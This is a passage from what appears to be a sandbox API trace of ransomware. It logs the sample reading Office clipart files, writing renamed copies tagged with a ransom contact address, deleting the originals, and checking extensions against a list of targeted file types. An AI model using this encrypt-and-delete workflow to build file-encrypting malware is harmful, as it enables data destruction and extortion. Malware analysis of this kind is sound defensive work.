office\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x20 [0249.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.746] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.746] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.747] GetLastError () returned 0x0 [0249.747] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4712, lpOverlapped=0x0) returned 1 [0249.748] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4720, lpOverlapped=0x0) returned 1 [0249.749] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.749] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.750] SetEndOfFile (hFile=0x3b0) returned 1 [0249.750] CloseHandle (hObject=0x3b0) returned 1 [0249.750] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.750] SetEndOfFile (hFile=0x204) returned 1 [0249.752] CloseHandle (hObject=0x204) returned 1 [0249.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0249.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.753] lstrlenW (lpString=".doc") returned 4 [0249.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.753] lstrlenW (lpString=".docx") returned 5 [0249.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.753] lstrlenW (lpString=".pdf") returned 4 [0249.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.753] lstrlenW (lpString=".xls") returned 4 [0249.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.753] lstrlenW (lpString=".xlsx") returned 5 [0249.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.753] lstrlenW (lpString=".ppt") returned 4 [0249.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.753] lstrlenW (lpString=".zip") returned 4 [0249.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.753] lstrlenW (lpString=".rar") returned 4 [0249.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.753] lstrlenW (lpString=".bz2") returned 4 [0249.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.753] lstrlenW (lpString=".7z") returned 3 [0249.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.753] lstrlenW (lpString=".dbf") returned 4 [0249.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.754] lstrlenW (lpString=".1cd") returned 4 [0249.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.754] lstrlenW (lpString=".jpg") returned 4 [0249.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.754] lstrlenW (lpString=".doc") returned 4 [0249.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.754] lstrlenW (lpString=".docx") returned 5 [0249.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.754] lstrlenW (lpString=".pdf") returned 4 [0249.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.754] lstrlenW (lpString=".xls") returned 4 [0249.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.754] lstrlenW (lpString=".xlsx") returned 5 [0249.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.754] lstrlenW (lpString=".ppt") returned 4 [0249.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.754] lstrlenW (lpString=".zip") returned 4 [0249.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.754] lstrlenW (lpString=".rar") returned 4 [0249.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.754] lstrlenW (lpString=".bz2") returned 4 [0249.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.754] lstrlenW (lpString=".7z") returned 3 [0249.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.754] lstrlenW (lpString=".dbf") returned 4 [0249.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.754] lstrlenW (lpString=".1cd") returned 4 [0249.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0249.755] lstrlenW (lpString=".jpg") returned 4 [0249.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.755] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.755] lstrlenW (lpString="FD00438_.WMF") returned 12 [0249.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.755] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5098) returned 1 [0249.755] CloseHandle (hObject=0x204) returned 1 [0249.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x20 [0249.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.756] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.756] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.756] GetLastError () returned 0x0 [0249.756] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x13ea, lpOverlapped=0x0) returned 1 [0249.758] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x13f0, lpOverlapped=0x0) returned 1 [0249.759] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.759] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.759] SetEndOfFile (hFile=0x3b0) returned 1 [0249.759] CloseHandle (hObject=0x3b0) returned 1 [0249.759] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.759] SetEndOfFile (hFile=0x204) returned 1 [0249.761] CloseHandle (hObject=0x204) returned 1 [0249.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0249.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.762] lstrlenW (lpString=".doc") returned 4 [0249.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.762] lstrlenW (lpString=".docx") returned 5 [0249.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.762] lstrlenW (lpString=".pdf") returned 4 [0249.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.762] lstrlenW (lpString=".xls") returned 4 [0249.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.762] lstrlenW (lpString=".xlsx") returned 5 [0249.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.762] lstrlenW (lpString=".ppt") returned 4 [0249.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.762] lstrlenW (lpString=".zip") returned 4 [0249.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.762] lstrlenW (lpString=".rar") returned 4 [0249.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.763] lstrlenW (lpString=".bz2") returned 4 [0249.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.763] lstrlenW (lpString=".7z") returned 3 [0249.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.763] lstrlenW (lpString=".dbf") returned 4 [0249.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.763] lstrlenW (lpString=".1cd") returned 4 [0249.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.763] lstrlenW (lpString=".jpg") returned 4 [0249.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.763] lstrlenW (lpString=".doc") returned 4 [0249.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.763] lstrlenW (lpString=".docx") returned 5 [0249.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.763] lstrlenW (lpString=".pdf") returned 4 [0249.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.763] lstrlenW (lpString=".xls") returned 4 [0249.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.763] lstrlenW (lpString=".xlsx") returned 5 [0249.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.763] lstrlenW (lpString=".ppt") returned 4 [0249.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.763] lstrlenW (lpString=".zip") returned 4 [0249.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.763] lstrlenW (lpString=".rar") returned 4 [0249.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.763] lstrlenW (lpString=".bz2") returned 4 [0249.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.763] lstrlenW (lpString=".7z") returned 3 [0249.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.764] lstrlenW (lpString=".dbf") returned 4 [0249.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.764] lstrlenW (lpString=".1cd") returned 4 [0249.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0249.764] lstrlenW (lpString=".jpg") returned 4 [0249.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.764] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.764] lstrlenW (lpString="FD00455_.WMF") returned 12 [0249.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.764] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=8926) returned 1 [0249.764] CloseHandle (hObject=0x204) returned 1 [0249.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x20 [0249.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.765] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.765] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.766] GetLastError () returned 0x0 [0249.766] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x22de, lpOverlapped=0x0) returned 1 [0249.768] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0249.769] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.769] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.769] SetEndOfFile (hFile=0x3b0) returned 1 [0249.769] CloseHandle (hObject=0x3b0) returned 1 [0249.769] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.769] SetEndOfFile (hFile=0x204) returned 1 [0249.773] CloseHandle (hObject=0x204) returned 1 [0249.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0249.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.775] lstrlenW (lpString=".doc") returned 4 [0249.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.775] lstrlenW (lpString=".docx") returned 5 [0249.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.775] lstrlenW (lpString=".pdf") returned 4 [0249.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.775] lstrlenW (lpString=".xls") returned 4 [0249.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.775] lstrlenW (lpString=".xlsx") returned 5 [0249.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.775] lstrlenW (lpString=".ppt") returned 4 [0249.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.775] lstrlenW (lpString=".zip") returned 4 [0249.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.775] lstrlenW (lpString=".rar") returned 4 [0249.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.775] lstrlenW (lpString=".bz2") returned 4 [0249.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.775] lstrlenW (lpString=".7z") returned 3 [0249.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.775] lstrlenW (lpString=".dbf") returned 4 [0249.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.775] lstrlenW (lpString=".1cd") returned 4 [0249.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.776] lstrlenW (lpString=".jpg") returned 4 [0249.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.776] lstrlenW (lpString=".doc") returned 4 [0249.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.776] lstrlenW (lpString=".docx") returned 5 [0249.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.776] lstrlenW (lpString=".pdf") returned 4 [0249.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.776] lstrlenW (lpString=".xls") returned 4 [0249.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.776] lstrlenW (lpString=".xlsx") returned 5 [0249.776] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.776] lstrlenW (lpString=".ppt") returned 4 [0249.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.776] lstrlenW (lpString=".zip") returned 4 [0249.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.776] lstrlenW (lpString=".rar") returned 4 [0249.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.776] lstrlenW (lpString=".bz2") returned 4 [0249.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.776] lstrlenW (lpString=".7z") returned 3 [0249.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.776] lstrlenW (lpString=".dbf") returned 4 [0249.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.776] lstrlenW (lpString=".1cd") returned 4 [0249.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0249.776] lstrlenW (lpString=".jpg") returned 4 [0249.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.777] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.777] lstrlenW (lpString="FD00459_.WMF") returned 12 [0249.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.777] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=17406) returned 1 [0249.777] CloseHandle (hObject=0x204) returned 1 [0249.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x20 [0249.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 